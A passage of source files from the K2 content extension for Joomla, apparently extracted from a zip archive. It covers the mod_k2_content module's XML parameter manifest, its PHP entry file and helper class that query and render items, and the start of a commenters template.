        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="getTemplate" type="moduletemplate" modulename="mod_k2_content" default="Default" label="K2_SELECT_SUBTEMPLATE" description="K2_THIS_MODULE_UTILIZES_ONTHEFLY_MVC_TEMPLATE_OVERRIDES_WHAT_THIS_MEANS_IS_THAT_YOU_CAN_CREATE_A_NEW_SUBTEMPLATE_FOLDER_FOR_THIS_MODULE_WITHIN_YOUR_JOOMLA_TEMPLATES_HTMLMOD_K2_CONTENT_FOLDER_THE_MODULE_WILL_THEN_PICKUP_THE_NEW_SUBTEMPLATE_AUTOMAGICALLY_WITHOUT_YOU_EDITING_ANY_XML_FILE_OR_DOING_ANY_OTHER_NONDESIGNER_WORK"/>
                <field name="source" type="list" default="filter" label="K2_SOURCE" description="">
                    <option value="filter">K2_RETRIEVE_ITEMS_FROM_CATEGORIES</option>
                    <option value="specific">K2_SELECT_SPECIFIC_ITEMS</option>
                </field>
                <field name="" type="header" default="K2_RETRIEVE_ITEMS_FROM_CATEGORIES" label="" description=""/>
                <field name="catfilter" type="radio" default="0" label="K2_CATEGORY_FILTER" description="" class="btn-group btn-group-yesno-reverse">
                    <option value="0">K2_ALL</option>
                    <option value="1">K2_SELECT</option>
                </field>
                <field name="category_id" type="categoriesmultiple" default="" label="K2_SELECT_ONE_OR_MORE_CATEGORIES" description="K2_SELECT_ONE_ORE_MORE_CATEGORIES_FOR_WHICH_YOU_WANT_TO_FILTER_AN_ITEMS_LIST_SELECT_NONE_TO_FETCH_ITEMS_FROM_ALL_CATEGORIES"/>
                <field name="getChildren" type="radio" default="0" label="K2_FETCH_ITEMS_FROM_CHILDREN_CATEGORIES" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="tags" type="k2tags" label="K2_TAGS"/>
                <field name="users" type="k2users" label="K2_USERS"/>
                <field name="itemCount" type="text" size="4" default="5" label="K2_ITEM_COUNT" description=""/>
                <field name="itemsOrdering" type="list" default="" label="K2_ITEM_ORDERING" description="">
                    <option value="">K2_DEFAULT</option>
                    <option value="date">K2_OLDEST_FIRST</option>
                    <option value="rdate">K2_MOST_RECENT_FIRST</option>
                    <option value="publishUp">K2_RECENTLY_PUBLISHED</option>
                    <option value="alpha">K2_TITLE_ALPHABETICAL</option>
                    <option value="ralpha">K2_TITLE_REVERSEALPHABETICAL</option>
                    <option value="order">K2_ORDERING</option>
                    <option value="rorder">K2_ORDERING_REVERSE</option>
                    <option value="hits">K2_MOST_POPULAR</option>
                    <option value="best">K2_HIGHEST_RATED</option>
                    <option value="comments">K2_MOST_COMMENTED</option>
                    <option value="modified">K2_LATEST_MODIFIED</option>
                    <option value="rand">K2_RANDOM_ORDERING</option>
                </field>
                <field name="FeaturedItems" type="list" default="1" label="K2_FEATURED_ITEMS" description="">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                    <option value="2">K2_SHOW_ONLY_FEATURED_ITEMS</option>
                </field>
                <field name="popularityRange" type="list" default="" label="K2_TIME_RANGE_IF_ORDERING_IS_SET_TO_MOST_POPULAR_OR_MOST_COMMENTED" description="">
                    <option value="">K2_ALL_TIME</option>
                    <option value="1">K2_1_DAY</option>
                    <option value="3">K2_3_DAYS</option>
                    <option value="7">K2_1_WEEK</option>
                    <option value="15">K2_2_WEEKS</option>
                    <option value="30">K2_1_MONTH</option>
                    <option value="90">K2_3_MONTHS</option>
                    <option value="180">K2_6_MONTHS</option>
                </field>
                <field name="videosOnly" type="radio" default="0" label="K2_FETCH_ONLY_ITEMS_WITH_VIDEOS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="" type="header" default="K2_SELECT_SPECIFIC_ITEMS" label="" description=""/>
                <field name="items" type="k2modalselector" scope="items" default="" label="K2_ITEM_SELECTOR" description=""/>
                <field name="" type="header" default="K2_ITEM_VIEW_OPTIONS_COMMON_FOR_EITHER_SOURCE" label="" description=""/>
                <field name="itemTitle" type="radio" default="1" label="K2_TITLE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAuthor" type="radio" default="1" label="K2_USER_AUTHOR" description="K2_MOD_K2_CONTENT_USER_AUTHOR_DESC" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAuthorAvatar" type="radio" default="1" label="K2_USER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAuthorAvatarWidthSelect" type="list" default="custom" label="K2_USER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="itemAuthorAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_USER_AVATAR_IN_PX" description=""/>
                <field name="userDescription" type="radio" default="1" label="K2_USER_DESCRIPTION" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemIntroText" type="radio" default="1" label="K2_INTROTEXT" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemIntroTextWordLimit" type="text" size="4" default="" label="K2_INTROTEXT_WORD_LIMIT" description="K2_LEAVE_BLANK_TO_DIASBLE_IF_YOU_ENABLE_THIS_OPTION_ALL_HTML_TAGS_FROM_THE_TEXT_WILL_BE_CLEANED_UP_TO_MAKE_SURE_THE_HTML_STRUCTURE_OF_THE_SITE_DOES_NOT_BRAKE"/>
                <field name="itemImage" type="radio" default="1" label="K2_IMAGE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemImgSize" type="list" default="Small" label="K2_IMAGE_SIZE" description="">
                    <option value="XSmall">K2_XSMALL</option>
                    <option value="Small">K2_SMALL</option>
                    <option value="Medium">K2_MEDIUM</option>
                    <option value="Large">K2_LARGE</option>
                    <option value="XLarge">K2_XLARGE</option>
                </field>
                <field name="itemVideo" type="radio" default="1" label="K2_VIDEO" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemVideoCaption" type="radio" default="1" label="K2_MEDIA_CAPTION" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemVideoCredits" type="radio" default="1" label="K2_MEDIA_CREDITS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAttachments" type="radio" default="1" label="K2_ATTACHMENTS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemTags" type="radio" default="1" label="K2_TAGS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCategory" type="radio" default="1" label="K2_CATEGORY" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemDateCreated" type="radio" default="1" label="K2_CREATED_DATE_AND_TIME" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemHits" type="radio" default="1" label="K2_HITS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemReadMore" type="radio" default="1" label="K2_READ_MORE_LINK" description="K2_THIS_OPTION_IS_NOT_APPLICABLE_FOR_AN_ITEM_IN_WHICH_THE_FULLTEXT_BLOCK_IS_EMPTY" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemExtraFields" type="radio" default="0" label="K2_EXTRA_FIELDS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCommentsCounter" type="radio" default="1" label="K2_COMMENTS_COUNTER_AND_ANCHOR_LINK" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="" type="header" default="K2_OTHER_OPTIONS" label="" description=""/>
                <field name="feed" type="radio" default="1" label="K2_AUTOGENERATED_RSS_FEED_ICON" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemPreText" type="textarea" default="" label="K2_DESCRIPTION_TEXT_AT_THE_TOP_OPTIONAL" description="" cols="40" rows="4" filter="raw"/>
                <field name="itemCustomLink" type="radio" default="0" label="K2_CUSTOM_LINK_AT_THE_BOTTOM" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCustomLinkTitle" type="text" default="" label="K2_CUSTOM_LINK_TITLE" description="K2_CUSTOM_LINK_TITLE_DESC"/>
                <field name="itemCustomLinkURL" type="text" default="http://" label="K2_CUSTOM_LINK_URL" description="K2_CUSTOM_LINK_URL_DESC"/>
                <field name="itemCustomLinkMenuItem" type="menuitem" default="" label="K2_OR_SELECT_A_MENU_ITEM" description=""/>
            </fieldset>
            <fieldset name="advanced">
                <field name="K2Plugins" type="radio" default="1" label="K2_ENABLE_K2_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="JPlugins" type="radio" default="1" label="K2_ENABLE_JOOMLA_CONTENT_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>PK!j�^̻�!mod_k2_content/mod_k2_content.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$getTemplate = $params->get('getTemplate', 'Default');
$itemAuthorAvatarWidthSelect = $params->get('itemAuthorAvatarWidthSelect', 'custom');
$itemAuthorAvatarWidth = $params->get('itemAuthorAvatarWidth', 50);
$itemCustomLinkTitle = $params->get('itemCustomLinkTitle', '');
$itemCustomLinkURL = trim($params->get('itemCustomLinkURL'));
$itemCustomLinkMenuItem = $params->get('itemCustomLinkMenuItem');

if ($itemCustomLinkURL && ($itemCustomLinkURL!='http://' || $itemCustomLinkURL!='https://')) {
    if ($itemCustomLinkTitle=='') {
        if (strpos($itemCustomLinkURL, '://')!==false) {
            $linkParts = explode('://', $itemCustomLinkURL);
            $itemCustomLinkURL = $linkParts[1];
        }
        $itemCustomLinkTitle = $itemCustomLinkURL;
    }
} elseif ($itemCustomLinkMenuItem) {
    $menu = JMenu::getInstance('site');
    $menuLink = $menu->getItem($itemCustomLinkMenuItem);
    if (!$itemCustomLinkTitle) {
        $itemCustomLinkTitle = (K2_JVERSION != '15') ? $menuLink->title : $menuLink->name;
    }
    $itemCustomLinkURL = JRoute::_('index.php?&Itemid='.$menuLink->id);
}

// Make params backwards compatible
$params->set('itemCustomLinkTitle', $itemCustomLinkTitle);
$params->set('itemCustomLinkURL', $itemCustomLinkURL);

// Get component params
$componentParams = JComponentHelper::getParams('com_k2');

// User avatar
if ($itemAuthorAvatarWidthSelect == 'inherit') {
    $avatarWidth = $componentParams->get('userImageWidth');
} else {
    $avatarWidth = $itemAuthorAvatarWidth;
}

$items = modK2ContentHelper::getItems($params);

if (count($items)) {
    require(JModuleHelper::getLayoutPath('mod_k2_content', $getTemplate.'/default'));
}
PK!<�`ZZmod_k2_content/helper.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2ContentHelper
{
    public static function getItems(&$params, $format = 'html')
    {
        jimport('joomla.filesystem.file');

        $app = JFactory::getApplication();
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = (K2_JVERSION != '15') ? $jnow->toSql() : $jnow->toMySQL();
        $nullDate = $db->getNullDate();

        $componentParams = JComponentHelper::getParams('com_k2');

        $limit = $params->get('itemCount', 5);
        $cid = $params->get('category_id', null);
        $ordering = $params->get('itemsOrdering', '');
        $limitstart = JRequest::getInt('limitstart');

        // Get ACL
        $user = JFactory::getUser();
        if (K2_JVERSION != '15') {
            $userLevels = array_unique($user->getAuthorisedViewLevels());
            $aclCheck = 'IN('.implode(',', $userLevels).')';
        } else {
            $aid = $user->get('aid');
            $aclCheck = '<= '.$user->get('aid');
        }

        // Get language on Joomla 2.5+
        $languageFilter = '';
        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageFilter = $db->Quote($languageTag).", ".$db->Quote('*');
            }
        }

        // Sources (prepare the DB query)
        if ($params->get('source') == 'specific') {
            $value = $params->get('items');
            $current = array();
            if (is_string($value) && !empty($value)) {
                $current[] = $value;
            }
            if (is_array($value)) {
                $current = $value;
            }

            $items = array();

            foreach ($current as $id) {
                $query = "SELECT i.*, c.name AS categoryname, c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams
                    FROM #__k2_items AS i
                    LEFT JOIN #__k2_categories AS c ON c.id = i.catid
                    WHERE i.published = 1
                        AND i.access {$aclCheck}
                        AND i.trash = 0
                        AND c.published = 1
                        AND c.access {$aclCheck}
                        AND c.trash = 0
                        AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                        AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                        AND i.id={$id}";

                if ($languageFilter) {
                    $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                }

                $db->setQuery($query);
                $item = $db->loadObject();

                if ($item) {
                    $items[] = $item;
                }
            }
        } else {
            $query = "SELECT i.*, ";

            if ($ordering == 'modified') {
                $query .= " CASE WHEN i.modified = 0 THEN i.created ELSE i.modified END AS lastChanged, ";
            }

            $query .= "c.name AS categoryname, c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams";

            if ($ordering == 'best') {
                $query .= ", (r.rating_sum/r.rating_count) AS rating";
            }

            if ($ordering == 'comments') {
                $query .= ", COUNT(comments.id) AS numOfComments";
            }

            $query .= " FROM #__k2_items AS i RIGHT JOIN #__k2_categories AS c ON c.id = i.catid";

            if ($ordering == 'best') {
                $query .= " LEFT JOIN #__k2_rating AS r ON r.itemID = i.id";
            }

            if ($ordering == 'comments') {
                $query .= " LEFT JOIN #__k2_comments AS comments ON comments.itemID = i.id";
            }

            $tagsFilter = $params->get('tags');
            if ($tagsFilter && is_array($tagsFilter) && count($tagsFilter)) {
                $query .= " INNER JOIN #__k2_tags_xref tags_xref ON tags_xref.itemID = i.id";
            }

            $query .= " WHERE i.published = 1
                AND i.access {$aclCheck}
                AND i.trash = 0
                AND c.published = 1
                AND c.access {$aclCheck}
                AND c.trash = 0
                AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")";

            if ($params->get('catfilter') && !is_null($cid)) {
                if ($params->get('getChildren')) {
                    $itemListModel = K2Model::getInstance('Itemlist', 'K2Model');
                    $categories = $itemListModel->getCategoryTree($cid);
                    $sql = @implode(',', $categories);
                    $query .= " AND i.catid IN ({$sql})";
                } else {
                    if (is_array($cid)) {
                        $query .= " AND i.catid IN(".implode(',', $cid).")";
                    } else {
                        $query .= " AND i.catid = ".(int)$cid;
                    }
                }
            }

            $tagsFilter = $params->get('tags');
            if ($tagsFilter && is_array($tagsFilter) && count($tagsFilter)) {
                $query .= " AND tags_xref.tagID IN(".implode(',', $tagsFilter).")";
            }

            $usersFilter = $params->get('users');
            if ($usersFilter && is_array($usersFilter) && count($usersFilter)) {
                $query .= " AND i.created_by IN(".implode(',', $usersFilter).") AND i.created_by_alias = ''";
            }

            if ($params->get('FeaturedItems') == '0') {
                $query .= " AND i.featured != 1";
            }

            if ($params->get('FeaturedItems') == '2') {
                $query .= " AND i.featured = 1";
            }

            if ($params->get('videosOnly')) {
                $query .= " AND (i.video IS NOT NULL AND i.video!='')";
            }

            if ($languageFilter) {
                $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
            }

            if ($ordering == 'comments') {
                $query .= " AND comments.published = 1";
            }

            switch ($ordering) {

                case 'date':
                    $orderby = 'i.created ASC';
                    break;

                case 'rdate':
                    $orderby = 'i.created DESC';
                    break;

                case 'alpha':
                    $orderby = 'i.title';
                    break;

                case 'ralpha':
                    $orderby = 'i.title DESC';
                    break;

                case 'order':
                    if ($params->get('FeaturedItems') == '2') {
                        $orderby = 'i.featured_ordering';
                    } else {
                        $orderby = 'i.ordering';
                    }
                    break;

                case 'rorder':
                    if ($params->get('FeaturedItems') == '2') {
                        $orderby = 'i.featured_ordering DESC';
                    } else {
                        $orderby = 'i.ordering DESC';
                    }
                    break;

                case 'hits':
                    if ($params->get('popularityRange')) {
                        $query .= " AND i.created > DATE_SUB('{$now}', INTERVAL ".$params->get('popularityRange')." DAY) ";
                    }
                    $orderby = 'i.hits DESC';
                    break;

                case 'rand':
                    $orderby = 'RAND()';
                    break;

                case 'best':
                    $orderby = 'rating DESC';
                    break;

                case 'comments':
                    if ($params->get('popularityRange')) {
                        $query .= " AND i.created > DATE_SUB('{$now}', INTERVAL ".$params->get('popularityRange')." DAY) ";
                    }
                    $orderby = 'numOfComments DESC';
                    break;

                case 'modified':
                    $orderby = 'lastChanged DESC';
                    break;

                case 'publishUp':
                    $orderby = 'i.publish_up DESC';
                    break;

                default:
                    $orderby = 'i.id DESC';
                    break;
            }

            $query .= " GROUP BY i.id ORDER BY ".$orderby;

            $db->setQuery($query, 0, $limit);
            $items = $db->loadObjectList();
        }

        // Render the query results
        $model = K2Model::getInstance('Item', 'K2Model');

        // Import plugins
        $dispatcher = JDispatcher::getInstance();
        if ($params->get('JPlugins', 1)) {
            JPluginHelper::importPlugin('content');
        }
        if ($params->get('K2Plugins', 1)) {
            JPluginHelper::importPlugin('k2');
        }

        if (count($items)) {
            foreach ($items as $item) {

                // Item (read more...) link
                $item->link = urldecode(JRoute::_(K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($item->categoryalias))));

                // Category link
                if ($params->get('itemCategory')) {
                    $item->categoryLink = urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($item->catid.':'.urlencode($item->categoryalias))));
                }

                // Title cleanup
                $item->title = JFilterOutput::ampReplace($item->title);

                // Tags
                if ($params->get('itemTags')) {
                    $tags = $model->getItemTags($item->id);
                    for ($i = 0; $i < count($tags); $i++) {
                        $tags[$i]->link = JRoute::_(K2HelperRoute::getTagRoute($tags[$i]->name));
                    }
                    $item->tags = $tags;
                }

                // Introtext
                $item->text = '';
                if ($params->get('itemIntroText')) {
                    // Word limit
                    if ($params->get('itemIntroTextWordLimit')) {
                        $item->text .= K2HelperUtilities::wordLimit($item->introtext, $params->get('itemIntroTextWordLimit'));
                    } else {
                        $item->text .= $item->introtext;
                    }
                }

                // Item image
                if ($params->get('itemImage')) {
                    if ($componentParams->get('imageTimestamp')) {
                        $date = JFactory::getDate($item->modified);
                        $timestamp = '?t='.$date->toUnix();
                    } else {
                        $timestamp = '';
                    }

                    $imageFilenamePrefix = md5("Image".$item->id);
                    $imagePathPrefix = JUri::base(true).'/media/k2/items/cache/'.$imageFilenamePrefix;

                    // Do we have an image uploaded? (simply check one size)
                    if (JFile::exists(JPATH_SITE.'/media/k2/items/cache/'.$imageFilenamePrefix.'_Generic.jpg')) {
                        $item->imageGeneric = $imagePathPrefix.'_Generic.jpg'.$timestamp;
                        $item->imageXSmall  = $imagePathPrefix.'_XS.jpg'.$timestamp;
                        $item->imageSmall   = $imagePathPrefix.'_S.jpg'.$timestamp;
                        $item->imageMedium  = $imagePathPrefix.'_M.jpg'.$timestamp;
                        $item->imageLarge   = $imagePathPrefix.'_L.jpg'.$timestamp;
                        $item->imageXLarge  = $imagePathPrefix.'_XL.jpg'.$timestamp;
                    }

                    // Select the size to use
                    $image = 'image'.$params->get('itemImgSize', 'Small');
                    if (isset($item->$image)) {
                        $item->image = $item->$image;
                    }
                }

                // Video
                if ($params->get('itemVideo') && $format != 'feed') {
                    $params->set('vfolder', 'media/k2/videos');
                    $params->set('afolder', 'media/k2/audio');
                    $tmp = new stdClass;
                    $tmp->text = $item->video;
                    if ($params->get('JPlugins', 1)) {
                        if (K2_JVERSION != '15') {
                            $dispatcher->trigger('onContentPrepare', array('mod_k2_content.', &$tmp, &$params, $limitstart));
                        } else {
                            $dispatcher->trigger('onPrepareContent', array(&$tmp, &$params, $limitstart));
                        }
                    }
                    if ($params->get('K2Plugins', 1)) {
                        $dispatcher->trigger('onK2PrepareContent', array(&$tmp, &$params, $limitstart));
                    }
                    $item->video = $tmp->text;
                }

                // Extra fields
                if ($params->get('itemExtraFields')) {
                    $item->extra_fields = $model->getItemExtraFields($item->extra_fields, $item);

                    // Plugin rendering in extra fields
                    if (is_array($item->extra_fields)) {
                        foreach ($item->extra_fields as $key => $extraField) {
                            if ($extraField->type == 'textarea' || $extraField->type == 'textfield') {
                                $tmp = new stdClass;
                                $tmp->text = $extraField->value;
                                if ($params->get('JPlugins', 1)) {
                                    if (K2_JVERSION != '15') {
                                        $dispatcher->trigger('onContentPrepare', array('mod_k2_content', &$tmp, &$params, $limitstart));
                                    } else {
                                        $dispatcher->trigger('onPrepareContent', array(&$tmp, &$params, $limitstart));
                                    }
                                }
                                if ($params->get('K2Plugins', 1)) {
                                    $dispatcher->trigger('onK2PrepareContent', array(&$tmp, &$params, $limitstart));
                                }
                                $extraField->value = $tmp->text;
                            }
                        }
                    }
                }

                // Attachments
                if ($params->get('itemAttachments')) {
                    $item->attachments = $model->getItemAttachments($item->id);
                }

                // Comments counter
                if ($params->get('itemCommentsCounter')) {
                    $item->numOfComments = $model->countItemComments($item->id);
                }

                // Plugins
                if ($format != 'feed') {
                    $params->set('parsedInModule', 1); // for plugins to know when they are parsed inside this module

                    $item->event = new stdClass;

                    $item->event->BeforeDisplay = '';
                    $item->event->AfterDisplay = '';
                    $item->event->AfterDisplayTitle = '';
                    $item->event->BeforeDisplayContent = '';
                    $item->event->AfterDisplayContent = '';

                    // Joomla Plugins
                    if ($params->get('JPlugins', 1)) {
                        if (K2_JVERSION != '15') {
                            $item->event->BeforeDisplay = '';
                            $item->event->AfterDisplay = '';

                            $results = $dispatcher->trigger('onContentAfterTitle', array('mod_k2_content', &$item, &$params, $limitstart));
                            $item->event->AfterDisplayTitle = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onContentBeforeDisplay', array('mod_k2_content', &$item, &$params, $limitstart));
                            $item->event->BeforeDisplayContent = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onContentAfterDisplay', array('mod_k2_content', &$item, &$params, $limitstart));
                            $item->event->AfterDisplayContent = trim(implode("\n", $results));

                            $dispatcher->trigger('onContentPrepare', array('mod_k2_content', &$item, &$params, $limitstart));
                        } else {
                            $results = $dispatcher->trigger('onBeforeDisplay', array(&$item, &$params, $limitstart));
                            $item->event->BeforeDisplay = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onAfterDisplay', array(&$item, &$params, $limitstart));
                            $item->event->AfterDisplay = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onAfterDisplayTitle', array(&$item, &$params, $limitstart));
                            $item->event->AfterDisplayTitle = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onBeforeDisplayContent', array(&$item, &$params, $limitstart));
                            $item->event->BeforeDisplayContent = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onAfterDisplayContent', array(&$item, &$params, $limitstart));
                            $item->event->AfterDisplayContent = trim(implode("\n", $results));

                            $dispatcher->trigger('onPrepareContent', array(&$item, &$params, $limitstart));
                        }
                    }

                    // Initialize K2 plugin events
                    $item->event->K2BeforeDisplay = '';
                    $item->event->K2AfterDisplay = '';
                    $item->event->K2AfterDisplayTitle = '';
                    $item->event->K2BeforeDisplayContent = '';
                    $item->event->K2AfterDisplayContent = '';
                    $item->event->K2CommentsCounter = '';

                    // K2 Plugins
                    if ($params->get('K2Plugins', 1)) {
                        $results = $dispatcher->trigger('onK2BeforeDisplay', array(&$item, &$params, $limitstart));
                        $item->event->K2BeforeDisplay = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2AfterDisplay', array(&$item, &$params, $limitstart));
                        $item->event->K2AfterDisplay = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2AfterDisplayTitle', array(&$item, &$params, $limitstart));
                        $item->event->K2AfterDisplayTitle = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2BeforeDisplayContent', array(&$item, &$params, $limitstart));
                        $item->event->K2BeforeDisplayContent = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2AfterDisplayContent', array(&$item, &$params, $limitstart));
                        $item->event->K2AfterDisplayContent = trim(implode("\n", $results));

                        $dispatcher->trigger('onK2PrepareContent', array(&$item, &$params, $limitstart));

                        if ($params->get('itemCommentsCounter')) {
                            $results = $dispatcher->trigger('onK2CommentsCounter', array(&$item, &$params, $limitstart));
                            $item->event->K2CommentsCounter = trim(implode("\n", $results));
                        }
                    }
                }

                // Restore the intotext variable after plugins are executed
                $item->introtext = $item->text;

                // Remove the plugin tags
                $item->introtext = preg_replace("#{(.*?)}(.*?){/(.*?)}#s", '', $item->introtext);

                // Author (user)
                if ($params->get('itemAuthor')) {
                    if (!empty($item->created_by_alias)) {
                        $item->author = $item->created_by_alias;
                        $item->authorGender = null;
                        $item->authorDescription = null;
                        if ($params->get('itemAuthorAvatar')) {
                            $item->authorAvatar = K2HelperUtilities::getAvatar('alias');
                        }
                        $item->authorLink = JUri::root(true);
                    } else {
                        $author = JFactory::getUser($item->created_by);
                        $item->author = $author->name;

                        $query = "SELECT `description`, `gender` FROM #__k2_users WHERE userID=".(int)$author->id;
                        $db->setQuery($query, 0, 1);

                        $result = $db->loadObject();
                        if ($result) {
                            $item->authorGender = $result->gender;
                            $item->authorDescription = $result->description;
                        } else {
                            $item->authorGender = null;
                            $item->authorDescription = null;
                        }

                        if ($params->get('itemAuthorAvatar')) {
                            $item->authorAvatar = K2HelperUtilities::getAvatar($author->id, $author->email, $componentParams->get('userImageWidth'));
                        }

                        $item->authorLink = JRoute::_(K2HelperRoute::getUserRoute($item->created_by));
                    }
                }

                // Author (user) avatar
                if ($params->get('itemAuthorAvatar') && !isset($item->authorAvatar)) {
                    if (!empty($item->created_by_alias)) {
                        $item->authorAvatar = K2HelperUtilities::getAvatar('alias');
                        $item->authorLink = JUri::root(true);
                    } else {
                        $jAuthor = JFactory::getUser($item->created_by);
                        $item->authorAvatar = K2HelperUtilities::getAvatar($jAuthor->id, $jAuthor->email, $componentParams->get('userImageWidth'));
                        $item->authorLink = JRoute::_(K2HelperRoute::getUserRoute($item->created_by));
                    }
                }

                // Populate the output array
                $rows[] = $item;
            }

            return $rows;
        }
    }
}
PK!�
6��#mod_k2_comments/tmpl/commenters.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2TopCommentersBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php if(count($commenters)): ?>
    <ul>
        <?php foreach ($commenters as $key=>$commenter): ?>
        <li class="<?php echo ($key%2) ? "odd" : "even"; if(count($commenters)==$key+1) echo ' lastItem'; ?>">

